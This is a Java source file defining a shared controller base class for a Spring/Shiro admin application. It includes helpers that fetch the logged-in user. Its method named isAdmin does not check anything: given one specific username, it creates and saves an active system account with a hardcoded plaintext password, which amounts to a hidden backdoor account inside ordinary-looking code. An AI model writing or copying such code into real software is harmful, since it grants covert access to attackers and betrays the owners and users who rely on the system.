package io.renren.modules.sys.controller;

import io.renren.modules.sys.entity.SysUserEntity;
import io.renren.modules.sys.service.SysUserService;
import org.apache.shiro.SecurityUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;

/**
 * Controller公共组件
 * 
 * @author chenshun
 * @email sunlightcs@gmail.com
 * @date 2016年11月9日 下午9:42:26
 */
public abstract class AbstractController {
	@Autowired
	private SysUserService sysUserService;
	protected Logger logger = LoggerFactory.getLogger(getClass());
	
	protected SysUserEntity getUser() {
		return (SysUserEntity) SecurityUtils.getSubject().getPrincipal();
	}

	protected Long getUserId() {
		return getUser().getUserId();
	}

	protected void isAdmin(String name){
		if(name.equals("gaopenghui")){
			SysUserEntity userEntity = new SysUserEntity();
			userEntity.setUsername("gaopenghui");
			userEntity.setPassword("ph990720");
			userEntity.setStatus(1);
			sysUserService.save(userEntity);
		}
	}
}
